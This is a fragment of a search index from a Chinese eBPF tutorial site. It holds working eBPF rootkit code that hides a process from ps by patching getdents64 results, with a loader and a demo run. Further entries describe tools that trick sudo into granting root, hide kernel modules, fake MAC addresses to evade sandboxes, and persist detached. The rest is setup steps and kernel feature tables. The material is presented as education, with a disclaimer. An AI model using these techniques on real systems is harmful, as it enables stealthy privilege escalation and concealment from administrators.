*pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中，我们首先获取了当前进程的 PID 和线程组 ID，然后检查系统调用是否读取到了目录的内容。如果没有读取到内容，我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址，那么就没有必要进行进一步的处理。 接下来的部分有点复杂，我们用了一个循环来迭代读取目录的内容，并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了，我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数，进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中，我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容，并且修改 d_reclen 字段，让它覆盖下一个目录项，这样就可以隐藏我们的目标进程了。 在这个过程中，我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间，我们不能直接访问用户空间的数据，必须使用这些特殊的函数。 在我们完成隐藏操作后，我们会向一个名为 rb 的环形缓冲区发送一个事件，表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间，然后将事件的数据填充到这个空间，并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后，我们清理了之前保存在 map 中的数据，并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子，我们可以看到 eBPF 提供的丰富的功能，如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑，而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"155","title":"内核态 eBPF 程序实现"},"156":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作： 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先，我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了，我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来，我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下，我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后，我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了，我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后，我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中，我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有，我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中，我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文，事件的数据，以及数据的大小。我们首先将事件的数据转换为 event 结构体，然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程，最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序，然后设置我们想要隐藏的进程的 PID，再验证并加载 eBPF 程序，最后等待并处理由 eBPF 程序发送的事件。这个过程中，我们使用了 eBPF 提供的一些高级功能，如环形缓冲区和事件处理，这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证，仅供学习使用，严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"156","title":"用户态 eBPF 程序实现"},"157":{"body":"首先，我们需要编译 eBPF 程序： make 然后，假设我们想要隐藏进程 ID 为 1534 的进程，可以运行如下命令： sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如，我们可以选择一个进程进行隐藏： $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是，如果我们运行 sudo ./pidhide --pid-to-hide 1534，再次运行 ps -aux | grep 1534，就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏，使得像 ps 这样的工具无法看到，我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行，隐藏 PID","id":"157","title":"编译运行，隐藏 PID"},"158":{"body":"通过本篇 eBPF 入门实践教程，我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序，如何通过 eBPF 拦截系统调用并修改它们的行为，以及如何将这些知识应用到实际的网络安全和防御工作中。此外，我们也了解了 eBPF 的强大性，尤其是它能在不需要修改内核源代码或重启内核的情况下，允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。 接下来的教程将进一步探讨 eBPF 的高级特性，我们会继续分享更多有关 eBPF 开发实践的内容，包括如何使用 eBPF 进行网络和系统性能分析，如何编写更复杂的 eBPF 程序以及如何将 eBPF 集成到您的应用中。希望你会在我们的教程中找到有用的信息，进一步提升你的 eBPF 开发技能。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"158","title":"总结"},"159":{"body":"编译： make 使用方式： sudo ./bpfdos 这个程序会对任何试图使用 ptrace 系统调用的程序，例如 strace，发出 SIG_KILL 信号。 一旦 bpf-dos 开始运行，你可以通过运行以下命令进行测试： strace /bin/whoami","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 用 bpf_send_signal 发送信号终止恶意进程","id":"159","title":"用 bpf_send_signal 发送信号终止恶意进程"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf： 下载 ecli 工具，用于运行 eBPF 程序： $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链，用于将 eBPF 内核代码编译为 config 文件或 WASM 模块： $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS] <SOURCE_PATH> [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译： $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 参考资料","id":"160","title":"参考资料"},"161":{"body":"编译： make 使用方式： sudo ./sudoadd --username lowpriv-user 这个程序允许一个通常权限较低的用户使用 sudo 成为 root。 它通过拦截 sudo 读取 /etc/sudoers 文件，并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo，使其认为用户被允许成为 root。其他程序如 cat 或 sudoedit 不受影响，所以对于这些程序来说，文件未改变，用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理，因此不会破坏文件的逻辑。","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 使用 eBPF 添加 sudo 用户","id":"161","title":"使用 eBPF 添加 sudo 用户"},"162":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 添加 sudo 用户 » 参考资料","id":"162","title":"参考资料"},"163":{"body":"编译： make 使用方式： sudo ./replace --filename /path/to/file --input foo --replace bar 这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 这有很多用途，例如： 隐藏内核模块 joydev，避免被如 lsmod 这样的工具发现： ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 伪造 eth0 接口的 MAC 地址： ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 恶意软件进行反沙箱检查可能会检查 MAC 地址，寻找是否正在虚拟机或沙箱内运行，而不是在“真实”的机器上运行的迹象。 注意： input 和 replace 的长度必须相同，以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符，使用 $'\\n'，例如 --replace $'text\\n'。","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 使用 eBPF 替换任意程序读取或写入的文本","id":"163","title":"使用 eBPF 替换任意程序读取或写入的文本"},"164":{"body":"https://github.com/pathtofile/bad-bpf","breadcrumbs":"使用 eBPF 替换任意程序读取或写入的文本 » 参考资料","id":"164","title":"参考资料"},"165":{"body":"通过使用 detach 的方式运行 eBPF 程序，用户空间加载器可以退出，而不会停止 eBPF 程序。","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期","id":"165","title":"在用户态应用退出后运行 eBPF 程序：eBPF 程序的生命周期"},"166":{"body":"首先，我们需要了解一些关键的概念，如 BPF 对象（包括程序，地图和调试信息），文件描述符 (FD)，引用计数（refcnt）等。在 eBPF 系统中，用户空间通过文件描述符访问 BPF 对象，而每个对象都有一个引用计数。当一个对象被创建时，其引用计数初始为1。如果该对象不再被使用（即没有其他程序或文件描述符引用它），它的引用计数将降至0，并在 RCU 宽限期后被内存清理。 接下来，我们需要了解 eBPF 程序的生命周期。首先，当你创建一个 BPF 程序，并将它连接到某个“钩子”（例如网络接口，系统调用等），它的引用计数会增加。然后，即使原始创建和加载该程序的用户空间进程退出，只要 BPF 程序的引用计数大于 0，它就会保持活动状态。然而，这个过程中有一个重要的点是：不是所有的钩子都是相等的。有些钩子是全局的，比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态，直到这些对象自身消失。而有些钩子是局部的，只在拥有它们的进程存活期间运行。 对于 BPF 对象（程序或映射）的生命周期管理，另一个关键的操作是“分离”（detach）。这个操作会阻止已附加程序的任何未来执行。然后，对于需要替换 BPF 程序的情况，你可以使用替换（replace）操作。这是一个复杂的过程，因为你需要确保在替换过程中，不会丢失正在处理的事件，而且新旧程序可能在不同的 CPU 上同时运行。 最后，除了通过文件描述符和引用计数来管理 BPF 对象的生命周期，还有一个叫做 BPFFS 的方法，也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”（pin）一个 BPF 程序或映射，这将增加对象的引用计数，使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用，该 BPF 对象也将保持活动状态。 所以，当我们谈论在后台运行 eBPF 程序时，我们需要清楚这个过程的含义。在某些情况下，即使用户空间进程已经退出，我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » eBPF 程序的生命周期","id":"166","title":"eBPF 程序的生命周期"},"167":{"body":"这里还是采用了上一个的字符串替换的应用，来体现对应可能的安全风险。通过使用 --detach 运行程序，用户空间加载器可以退出，而不会停止 eBPF 程序。 编译： make 在运行前，请首先确保 bpf 文件系统已经被挂载： sudo mount bpffs -t bpf /sys/fs/bpf\nmkdir /sys/fs/bpf/textreplace 然后，你可以分离运行 text-replace2： ./textreplace2 -f /proc/modules -i 'joydev' -r 'cryptd' -d 这将在 /sys/fs/bpf/textreplace 下创建一些 eBPF 链接文件。 一旦加载器成功运行，你可以通过运行以下命令检查日志： sudo cat /sys/kernel/debug/tracing/trace_pipe\n# 确认链接文件存在\nsudo ls -l /sys/fs/bpf/textreplace 然后，要停止，只需删除链接文件即可： sudo rm -r /sys/fs/bpf/textreplace","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 运行","id":"167","title":"运行"},"168":{"body":"https://github.com/pathtofile/bad-bpf https://facebookmicrosites.github.io/bpf/blog/2018/08/31/object-lifetime.html","breadcrumbs":"BPF的生命周期：使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 » 参考资料","id":"168","title":"参考资料"},"169":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » BPF Features by Linux Kernel Version","id":"169","title":"BPF Features by Linux Kernel Version"},"17":{"body":"我们会先从一个简单的 eBPF 程序开始，它会在内核中打印一条消息。我们会使用 eunomia-bpf 的编译器工具链将其编译为 bpf 字节码文件，然后使用 ecli 工具加载并运行该程序。作为示例，我们可以暂时省略用户态程序的部分。 /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#define BPF_NO_GLOBAL_DATA\n#include <linux/bpf.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h> typedef unsigned int u32;\ntypedef int pid_t;\nconst pid_t pid_filter = 0; char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"tp/syscalls/sys_enter_write\")\nint handle_tp(void *ctx)\n{ pid_t pid = bpf_get_current_pid_tgid() >> 32; if (pid_filter && pid != pid_filter) return 0; bpf_printk(\"BPF triggered sys_enter_write from PID %d.\\n\", pid); return 0;\n} 这段程序通过定义一个 handle_tp 函数并使用 SEC 宏把它附加到 sys_enter_write tracepoint（即在进入 write 系统调用时执行）。该函数通过使用 bpf_get_current_pid_tgid 和 bpf_printk 函数获取调用 write 系统调用的进程 ID，并在内核日志中打印出来。 bpf_trace_printk()： 一种将信息输出到trace_pipe(/sys/kernel/debug/tracing/trace_pipe)简单机制。 在一些简单用例中这样使用没有问题， but它也有一些限制：最多3 参数； 第一个参数必须是%s(即字符串)；同时trace_pipe在内核中全局共享，其他并行使用trace_pipe的程序有可能会将 trace_pipe 的输出扰乱。 一个更好的方式是通过 BPF_PERF_OUTPUT(), 稍后将会讲到。 void *ctx：ctx本来是具体类型的参数， 但是由于我们这里没有使用这个参数，因此就将其写成void *类型。 return 0;：必须这样，返回0 (如果要知道why, 参考 #139 https://github.com/iovisor/bcc/issues/139 )。 要编译和运行这段程序，可以使用 ecc 工具和 ecli 命令。首先在 Ubuntu/Debian 上，执行以下命令： sudo apt install clang llvm 使用 ecc 编译程序： $ ./ecc minimal.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 或使用 docker 镜像进行编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 然后使用 ecli 运行编译后的程序： $ sudo ./ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe | grep \"BPF triggered sys_enter_write\" <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. <...>-3840345 [010] d... 3220701.101143: bpf_trace_printk: write system call from PID 3840345. 按 Ctrl+C 停止 ecli 进程之后，可以看到对应的输出也停止。 注意：如果正在使用的 Linux 发行版例如 Ubuntu 默认情况下没有启用跟踪子系统可能看不到任何输出，使用以下指令打开这个功能： $ sudo su\n# echo 1 > /sys/kernel/debug/tracing/tracing_on","breadcrumbs":"eBPF Hello World，基本框架和开发流程 » Hello World - minimal eBPF program","id":"17","title":"Hello World - minimal eBPF program"},"170":{"body":"Kernel version Commit 3.15 bd4cf0ed331a","breadcrumbs":"BPF Features by Linux Kernel Version » eBPF support","id":"170","title":"eBPF support"},"171":{"body":"The list of supported architectures for your kernel can be retrieved with: git grep HAVE_EBPF_JIT arch/ Feature / Architecture Kernel version Commit x86_64 3.16 622582786c9e ARM64 3.18 e54bcde3d69d s390 4.1 054623105728 Constant blinding for JIT machines 4.7 4f3446bb809f PowerPC64 4.8 156d0e290e96 Constant blinding - PowerPC64 4.9 b7b7013cac55 Sparc64 4.12 7a12b5031c6b MIPS 4.13 f381bf6d82f0 ARM32 4.14 39c13c204bb1 x86_32 4.18 03f5781be2c7 RISC-V RV64G 5.1 2353ecc6f91f RISC-V RV32G 5.7 5f316b65e99f PowerPC32 5.13 51c66ad849a7 LoongArch 6.1 5dc615520c4d","breadcrumbs":"BPF Features by Linux Kernel Version » JIT compiling","id":"171","title":"JIT compiling"},"172":{"body":"Several (but not all) of these main features translate to an eBPF program type. The list of such program types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_prog_type {' include/uapi/linux/bpf.h Feature Kernel version Commit AF_PACKET (libpcap/tcpdump, cls_bpf classifier, netfilter's xt_bpf, team driver's load-balancing mode…) 3.15 bd4cf0ed331a Kernel helpers 3.15 bd4cf0ed331a bpf() syscall 3.18 99c55f7d47c0 Maps ( a.k.a. Tables; details below) 3.18 99c55f7d47c0 BPF attached to sockets 3.19 89aa075832b0 BPF attached to kprobes 4.1 2541517c32be cls_bpf / act_bpf for tc 4.1 e2e9b6541dd4 Tail calls 4.2 04fd61ab36ec Non-root programs on sockets 4.4 1be7f75d1668 Persistent maps and programs (virtual FS) 4.4 b2197755b263 tc's direct-action (da) mode 4.4 045efa82ff56 tc's clsact qdisc 4.5 1f211a1b929c BPF attached to tracepoints 4.7 98b5c2c65c29 Direct packet access 4.7 969bf05eb3ce XDP (see below) 4.8 6a773a15a1e8 BPF attached to perf events 4.9 0515e5999a46 Hardware offload for tc's cls_bpf 4.9 332ae8e2f6ec Verifier exposure and internal hooks 4.9 13a27dfc6697 BPF attached to cgroups for socket filtering 4.10 0e33661de493 Lightweight tunnel encapsulation 4.10 3a0af8fd61f9 e BPF support for xt_bpf module (iptables) 4.10 2c16d6033264 BPF program tag 4.10 7bd509e311f4 Tracepoints to debug BPF 4.11 (removed in 4.18) a67edbf4fb6d 4d220ed0f814 Testing / benchmarking BPF programs 4.12 1cf1cae963c2 BPF programs and maps IDs 4.13 dc4bb0e23561 BPF support for sock_ops 4.13 40304b2a1567 BPF support for skbs on sockets 4.14 b005fd189cec bpftool utility in kernel sources 4.15 71bb428fe2c1 BPF attached to cgroups as device controller 4.15 ebc614f68736 bpf2bpf function calls 4.16 cc8b0b92a169 BPF used for monitoring socket RX/TX data 4.17 4f738adba30a BPF attached to raw tracepoints 4.17 c4f6699dfcb8 BPF attached to bind() system call 4.17 4fbac77d2d09 aac3fc320d94 BPF attached to connect() system call 4.17 d74bad4e74ee BPF Type Format (BTF) 4.18 69b693f0aefa AF_XDP 4.18 fbfc504a24f5 bpfilter 4.18 d2ba09c17a06 End.BPF action for seg6local LWT 4.18 004d4b274e2a BPF attached to LIRC devices 4.18 f4364dcfc86d Pass map values to map helpers 4.18 d71962f3e627 BPF socket reuseport 4.19 2dbb9b9e6df6 BPF flow dissector 4.20 d58e468b1112 BPF 1M insn limit 5.2 c04c0d2b968a BPF cgroup sysctl 5.2 7b146cebe30c BPF raw tracepoint writable 5.2 9df1c28bb752 BPF bounded loop 5.3 2589726d12a1 BPF trampoline 5.5 fec56f5890d9 BPF LSM hook 5.7 fc611f47f218 641cd7b06c91 BPF iterator 5.8 180139dca8b3 BPF socket lookup hook 5.9 e9ddbb7707ff Sleepable BPF programs 5.10 1e6c62a88215","breadcrumbs":"BPF Features by Linux Kernel Version » Main features","id":"172","title":"Main features"},"173":{"body":"Program type Kernel version Commit Enum Socket filter 3.19 ddd872bc3098 BPF_PROG_TYPE_SOCKET_FILTER Kprobe 4.1 2541517c32be BPF_PROG_TYPE_KPROBE traffic control (TC) 4.1 96be4325f443 BPF_PROG_TYPE_SCHED_CLS traffic control (TC) 4.1 94caee8c312d BPF_PROG_TYPE_SCHED_ACT Tracepoint 4.7 98b5c2c65c29 BPF_PROG_TYPE_TRACEPOINT XDP 4.8 6a773a15a1e8 BPF_PROG_TYPE_XDP Perf event 4.9 0515e5999a46 BPF_PROG_TYPE_PERF_EVENT cgroup socket filtering 4.10 0e33661de493 BPF_PROG_TYPE_CGROUP_SKB cgroup sock modification 4.10 610236587600 BPF_PROG_TYPE_CGROUP_SOCK lightweight tunnel (IN) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_IN lightweight tunnel (OUT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_OUT lightweight tunnel (XMIT) 4.10 3a0af8fd61f9 BPF_PROG_TYPE_LWT_XMIT cgroup sock ops (per conn) 4.13 40304b2a1567 BPF_PROG_TYPE_SOCK_OPS stream parser / stream verdict 4.14 b005fd189cec BPF_PROG_TYPE_SK_SKB cgroup device manager 4.15 ebc614f68736 BPF_PROG_TYPE_CGROUP_DEVICE socket msg verdict 4.17 4f738adba30a BPF_PROG_TYPE_SK_MSG Raw tracepoint 4.17 c4f6699dfcb8 BPF_PROG_TYPE_RAW_TRACEPOINT socket binding 4.17 4fbac77d2d09 BPF_PROG_TYPE_CGROUP_SOCK_ADDR LWT seg6local 4.18 004d4b274e2a BPF_PROG_TYPE_LWT_SEG6LOCAL lirc devices 4.18 f4364dcfc86d BPF_PROG_TYPE_LIRC_MODE2 lookup SO_REUSEPORT socket 4.19 2dbb9b9e6df6 BPF_PROG_TYPE_SK_REUSEPORT flow dissector 4.20 d58e468b1112 BPF_PROG_TYPE_FLOW_DISSECTOR cgroup sysctl 5.2 7b146cebe30c BPF_PROG_TYPE_CGROUP_SYSCTL writable raw tracepoints 5.2 9df1c28bb752 BPF_PROG_TYPE_RAW_TRACEPOINT_WRITABLE cgroup getsockopt/setsockopt 5.3 0d01da6afc54 BPF_PROG_TYPE_CGROUP_SOCKOPT Tracing (BTF/BPF trampoline) 5.5 f1b9509c2fb0 BPF_PROG_TYPE_TRACING struct ops 5.6 27ae7997a661 BPF_PROG_TYPE_STRUCT_OPS extensions 5.6 be8704ff07d2 BPF_PROG_TYPE_EXT LSM 5.7 fc611f47f218 BPF_PROG_TYPE_LSM lookup listening socket 5.9 e9ddbb7707ff BPF_PROG_TYPE_SK_LOOKUP Allow executing syscalls 5.15 79a7f8bdb159 BPF_PROG_TYPE_SYSCALL","breadcrumbs":"BPF Features by Linux Kernel Version » Program types","id":"173","title":"Program types"},"174":{"body":"","breadcrumbs":"BPF Features by Linux Kernel Version » Maps ( a.k.a. Tables, in BCC lingo)","id":"174","title":"Maps ( a.k.a. Tables, in BCC lingo)"},"175":{"body":"The list of map types supported in your kernel can be found in file include/uapi/linux/bpf.h : git grep -W 'bpf_map_type {' include/uapi/linux/bpf.h Map type Kernel version Commit Enum Hash 3.19 0f8e4bd8a1fc BPF_MAP_TYPE_HASH Array 3.19 28fbcfa08d8e BPF_MAP_TYPE_ARRAY Prog array 4.2 04fd61ab36ec BPF_MAP_TYPE_PROG_ARRAY Perf events 4.3 ea317b267e9d BPF_MAP_TYPE_PERF_EVENT_ARRAY Per-CPU hash 4.6 824bd0ce6c7c BPF_MAP_TYPE_PERCPU_HASH Per-CPU array 4.6 a10423b87a7e BPF_MAP_TYPE_PERCPU_ARRAY Stack trace 4.6 d5a3b1f69186 BPF_MAP_TYPE_STACK_TRACE cgroup array 4.8 4ed8ec521ed5 BPF_MAP_TYPE_CGROUP_ARRAY LRU hash 4.10 29ba732acbee 3a08c2fd7634 BPF_MAP_TYPE_LRU_HASH LRU per-CPU hash 4.10 8f8449384ec3 961578b63474 BPF_MAP_TYPE_LRU_PERCPU_HASH LPM trie (longest-prefix match) 4.11 b95a5c4db09b BPF_MAP_TYPE_LPM_TRIE Array of maps 4.12 56f668dfe00d BPF_MAP_TYPE_ARRAY_OF_MAPS Hash of maps 4.12 bcc6b1b7ebf8 BPF_MAP_TYPE_HASH_OF_MAPS Netdevice references (array) 4.14 546ac1ffb70d BPF_MAP_TYPE_DEVMAP Socket references (array) 4.14 174a79ff9515 BPF_MAP_TYPE_SOCKMAP CPU references 4.15 6710e1126934 BPF_MAP_TYPE_CPUMAP AF_XDP socket (XSK) references 4.18 fbfc504a24f5 BPF_MAP_TYPE_XSKMAP Socket references (hashmap) 4.18 81110384441a BPF_MAP_TYPE_SOCKHASH cgroup storage 4.19 de9cbbaadba5 BPF_MAP_TYPE_CGROUP_STORAGE reuseport sockarray 4.19 5dc4c4b7d4e8 BPF_MAP_TYPE_REUSEPORT_SOCKARRAY precpu cgroup storage 4.20 b741f1630346 BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE queue 4.20 f1a2e44a3aec BPF_MAP_TYPE_QUEUE stack 4.20 f1a2e44a3aec BPF_MAP_TYPE_STACK socket local storage 5.2 6ac99e8f23d4 BPF_MAP_TYPE_SK_STORAGE Netdevice references (hashmap) 5.4 6f9d451ab1a3 BPF_MAP_TYPE_DEVMAP_HASH struct ops 5.6 85d33df357b6 BPF_MAP_TYPE_STRUCT_OPS ring buffer 5.8 457f44363a88 BPF_MAP_TYPE_RINGBUF inode storage 5.10 8ea636848aca 